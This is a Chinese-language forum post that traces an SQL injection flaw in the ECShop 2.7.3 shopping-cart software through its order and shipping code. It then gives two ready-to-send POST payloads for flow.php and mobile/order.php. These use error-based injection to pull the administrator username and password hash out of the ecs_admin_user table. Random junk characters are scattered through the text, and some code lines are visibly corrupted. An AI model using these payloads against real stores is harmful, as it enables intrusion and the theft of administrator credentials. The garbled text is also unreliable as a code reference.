前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
- E% }2 |6 o7 z' X' }+ w0 M0 O. h% f7 a6 A
漏洞关键文件:
$ N7 q# s3 y! Y% x+ [) q& S6 w. c9 o
/includes/lib_order.php7 l$ H, X/ { ~2 ~
: P* D: y) G- E4 U3 [( ?
关键函数:& g9 Q. K& y( S1 v
* k5 V( Q' R# A7 Z( Q) q3 E
0 U( `6 v5 R9 k, y; R0 x9 `+ K2 B! K/ o# l+ |) D
01 function available_shipping_list($region_id_list)
7 a b+ n- \" J& C. v0 _5 c8 t# X6 Y$ J
02 { ' h& n- D6 d, ?4 V! ^# `
* h* |$ B) E) y" p; P) ]% n03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
. G5 h; M: q# t6 n# ?, n' q
5 g2 M# E3 Z) o# |/ j04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
8 U6 S7 {% Y; V, V$ o* D
$ M+ L2 b1 ~, K* X05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 9 h' U9 L$ q/ @% d8 d, X8 o1 D
0 R* N- G. p, i2 j$ U
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
% D3 B5 D' O) Z" \* n8 K' a# w! e7 C8 J2 X; o% @- h4 q/ r* c
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
" O: x9 D# S4 r9 _( B8 _
; l" B0 k$ X- W# m08 'WHERE r.region_id ' . db_create_in($region_id_list) .
( {. |* h4 a! Y& l; U. b0 t3 I5 u+ N- r& p% O. X1 z
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. s+ _% ?, L% _' n( L8 y1 b! i2 A7 ]: G8 u/ F! j2 R
10 $ b, X6 H4 p3 o, a% L* \
x) @: }% \1 b) l0 \& o; L
11 return $GLOBALS['db']->getAll($sql); 9 Q3 g. X, o: e6 l
5 R' _0 J+ k1 {8 x0 s12 }
5 e2 |1 t0 G4 u! R+ k# Y
# M5 `" d4 m( w p" M- b/ F显然对传入的参数没有任何过滤就带入了查询语句。+ ~/ P. b* n" }/ f$ R: ~
8 q$ l3 [, T$ T, J下面我们追踪这个函数在flow.php中:% H( J, ^1 O! e0 `
第531行: ' G1 }3 R5 P1 Y- |* b4 I1 i+ b
0 i9 E' ^* F7 L0 D+ ]) p5 q
1 $shipping_list = available_shipping_list($region);
3 K E! z0 \8 s( u: I0 z
# e7 ~* C0 u: V( o: f' [9 @
. V! Y7 e1 ~$ O! J& Y, B! G" h. E& c+ Y' K# I. B( s* Y
) h6 L6 ^8 Y9 N: \. ~
! L. w) A* d s+ Q1 X& G6 y: N
再对传入变量进行追踪:: [4 T$ q7 _; P% z/ U6 {- ^4 U
+ |$ n3 G2 n/ x* [( K6 B" L
第530行:
4 z5 G9 R1 k/ ^5 b0 }0 A5 J3 D: s9 K) D
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
, K8 W' J! f. M
/ n& f; x5 l0 _- w* U ! P; \; J" e- V$ I6 Z& a
' G. |: @' d+ E% ]* i# y) q
; Q% G3 [ O/ J
7 z6 ~! u2 i3 a, i: |4 }% l1 t7 ~第473行:
. L5 p `, g* a+ g! m+ g
0 W& N* ?( G7 @! _1 $consignee = get_consignee($_SESSION['user_id']);
* W8 z. [( v H+ I% L
3 I; f5 p4 R2 |- z4 i1 U到了一个关键函数:6 V9 M7 r. N4 V4 g/ s) C0 x
0 I1 J! e% p% n# r/includes/lib_order.php- o- {& `" b, t
0 x: v6 A4 z6 _
3 j8 D( S4 F$ U2 S- y; Y) U6 l
( r: c5 u9 j, F5 x& v
5 R' O. L" @% ?; x: ~5 l2 u. I% F2 g% d" P0 N# g
01 function get_consignee($user_id)
7 ~/ L4 m0 I, B
/ j' }# ]- M3 y4 E02 {
' N3 t- C1 g+ Y7 g K2 J K8 _6 }1 {( H/ `5 j! |9 o) E; B
03 if (isset($_SESSION['flow_consignee']))
8 L; G# i) R' a1 N1 M1 [# L* s% u: F% h5 N$ p: v0 [# M2 a
04 { ( {. ?6 p; V0 q* N- @8 L
5 K3 e) E' D5 N" D05 /* 如果存在session,则直接返回session中的收货人信息 */ & I- R- y9 I, z( T7 d
. Y) m7 X- ]+ w5 s6 A: Z06 - I: U( r6 h$ G
9 }$ y$ f4 J+ K3 K3 C; }" \07 return $_SESSION['flow_consignee'];
% O5 I0 Z: w, ? q% A9 y! S- Y! S& b+ r
08 }
: p6 i) r4 O8 `) O D; q9 q# a. C8 u) b0 u
09 else , \, h/ N+ O. X
5 Q6 n) L' j: ^( j10 { 7 S9 K, X1 Y/ z& N3 e+ [' r4 r
4 N% H% f1 _% S! g' l' _* X11 /* 如果不存在,则取得用户的默认收货人信息 */
% n; T/ H$ E" X1 Q9 s$ d
& @* Z" n5 e& Y" i8 \& K' S12 $arr = array(); 9 P( z& k5 l$ z$ M8 o
9 G4 `6 u, b1 d( F: \13 $ Y! J) G. F6 z, I4 T7 u
+ Q' [" S1 F9 V14 if ($user_id > 0)
! C# d0 r7 m D. [3 y
' g0 H$ t; I& A. A7 x$ ]15 {
f" }: T. f1 K7 r$ ]3 c- A1 C2 b) l9 \
16 /* 取默认地址 */
. x4 j G. S0 j" R( v
m; N8 u4 ]* t5 E& Y% T* ^17 $sql = "SELECT ua.*". : r& n6 M0 i h: G" x6 [; ?
4 d1 ]" }. h. t' I/ P2 w" _! G18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
1 Q/ Q; H3 T8 ^! ^0 w
7 W4 C8 b5 ?8 z1 Q t19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
3 g4 \+ @/ s$ o6 R* u$ ?8 ~. S6 H K3 n/ [
20
+ S% O4 Z# N8 {$ b; g4 Y U8 a# J+ V$ ~7 e1 E
21 $arr = $GLOBALS['db']->getRow($sql);
[, f; E8 ?( x8 I6 `! y) z, M5 b% `
22 } 8 t) w& \" {, V! i3 {) |
. y6 z f5 E. b: @+ Q: G5 h0 X23
" ?7 [4 m; P7 \$ G! M) ]5 P5 P
5 S+ j" ]' h0 G) x, d24 return $arr;
2 G( n: Q& M6 F4 r3 {8 @# K& e; z8 k8 F5 X% l
25 }
7 x: W! H" L8 h# I/ i
9 T, I, Z" M+ ^# E9 q5 \26 } ! w; N5 \9 I7 P8 f2 u; M/ `
: A$ U3 d; p! ]9 i显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?/ r! f2 C: A3 S* I% ~, d
' P2 a( b/ U' ~
7 ?( M% I) k0 G5 d: e& _5 z
9 W7 Y$ S1 S- d" E- [' u关键点:
; E! Z e* T6 {9 Y& t$ l9 x! k& f; l+ ]% g( N3 t4 x1 p* Z4 R* n$ t0 V9 y* B
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);4 y5 e9 t9 u8 W: K! Y# ^$ P# k
: `3 B9 J9 b; ~- t8 M1 S
这里对传入参数反转义存入$_SESSION中。$ U; X& H" f3 @3 D9 [9 m
! \, `' h" ^. P4 H! J. i
3 c: C. P, \7 `2 G: t2 B
$ l! F/ S+ X' W3 r. a然后看下:
" L4 |5 h* U* U8 ^) S1 R S7 R8 Z8 G% G6 t1 n
' g- \4 H. S1 E* t3 b. s5 k
* m# T1 J7 N+ ~0 G9 q4 U; E2 G6 a , ]' q. K2 A! l+ P& R
8 N. a3 `: ?5 M. g: U) @, k
01 $consignee = array( 3 A- ~+ b, x: r: u; r6 {1 }4 t# b4 R
+ P/ D( ]; ~7 u2 _
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), # N8 }: b7 |& c* }: C
2 Z4 H# g4 ]' H0 u: S
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 0 G9 _ N" C" \7 }
2 ~2 i/ s0 x5 ?' |04 'country' => empty($_POST['country']) ? '' _POST['country'],
. M% D B- C1 J9 r3 V! ~* G* Z& ^' M! e& T; s0 W
05 'province' => empty($_POST['province']) ? '' _POST['province'],
# d3 p" J8 X, `# y' A( `' m2 b# P7 ~' h
06 'city' => empty($_POST['city']) ? '' _POST['city'],
$ B* L# e% r7 E. k. g7 Y
' h6 @% Z. Y" \$ G) O' O07 'district' => empty($_POST['district']) ? '' _POST['district'], 5 [ _$ \+ ~: M; K0 q# c
" c, d" X8 m& B$ `0 _0 q08 'email' => empty($_POST['email']) ? '' _POST['email'],
2 F* a9 T- O5 x5 Z2 B0 X6 a2 ?" n8 M
09 'address' => empty($_POST['address']) ? '' _POST['address'],
% \. g6 c! B. y2 `8 i) p2 E
8 f( H4 |6 g$ V H10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), ; u( Q1 P& P9 ]: F+ \5 l& \
1 C, {1 i) z& g8 ?: g' x+ r1 V. R
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
u4 Q7 Z# R$ j# B+ B; a$ C. V% w8 [1 F9 P* k. x# H K
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
( a6 K1 u' {/ P s: s3 d! J+ ]' ~" t; B+ u
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
3 l* G; X7 U/ _8 j' y$ v' ]7 f
0 J* U2 ]. A" M( _# ~ p14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
, T4 l$ G6 h! B' }
: p w% [3 k6 T' G# p15 );
3 a; {! i* Z' o
* k# S+ D, E3 i% e9 c$ `好了注入就这样出现了。( r% L: \) D" {" L/ y
( y1 J: w- c" V( Z0 a! x==================
1 x( E+ Z1 k$ s; Q- B' X
% n" @9 B* l; V6 ^注入测试:' j9 i4 c* s6 e
' J4 @9 r7 I; f) c! }- N4 b0 x环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
! \$ x/ P* X) F* ~
& C) C) d6 z6 E4 I测试程序:ECShop_V2.7.3_UTF8_release11062 `4 W. f4 E! B9 ~5 D# o) y& p# m
/ ?, Q% R5 w; G' O$ l+ U/ J
7 {: e- {# r: i, l( e
. ]) |6 ?- b- M6 t1 r1.首先需要点击一个商品加入购物车
- ~. n+ Z2 I- |2 H5 ]
& S% \1 q# q7 ] O% ?2 [6 ^2.注册一个会员帐号 o! A# e# y0 N# ^6 V- J
( m8 n+ i' J8 R
3.post提交数据
$ f7 M" O, Z3 E3 V; c
/ L5 k+ o! w1 E$ S5 ~
5 V+ Q3 t2 `5 ^7 v5 w4 j5 ~, f6 O+ H1 P0 W/ }: o
1 http://127.0.0.1/ecshop/flow.php
& N6 Y4 w4 k/ M4 B- Z" ^) V& k% X
) K( R3 G; x4 o7 E' c* T4 z2 8 t0 n/ P7 b1 h# f$ `& g5 k
1 |+ m5 ~) M+ m; N& M( ^3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= , n5 p9 q( q' w
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
% \3 S+ Y6 N8 G }1 l
& U+ q. z% m; P4 f我们搜寻关键函数function available_shipping_list()4 u. ?* E3 a& F
$ W; N P. s# S( d5 ~& ~. A2 ?0 C) R
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
- B2 J; @# A, j) n- Q6 K$ [
; p, P# P# ^. b2 |利用exp:
: s+ ^& { S1 Q- E/ a2 w& g; @# g, e1 @
1.点击一个商品,点击购买商标
0 a! m4 V" R: Z
. D; N3 _- N; K6 e7 W2.登录会员帐号9 V/ o6 O) [! Q
) P" d$ U. X) v+ {/ G& @$ O* F
3.post提交:
0 y0 }" `: b6 y" w, p2 b$ [& k1 E. n1 }( F( @
http://127.0.0.1/ecshop/mobile/order.php4 |; u5 v( a7 t- `
5 S1 t& C: G- U# K h1 ?
/ z: K/ Q: N5 ^2 b+ h. _8 q5 X+ G- N* ]5 W5 r9 u
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! x& T4 F" G. K9 }6 ]0 r' a
& h6 q: R/ Q. n4 S- c% G |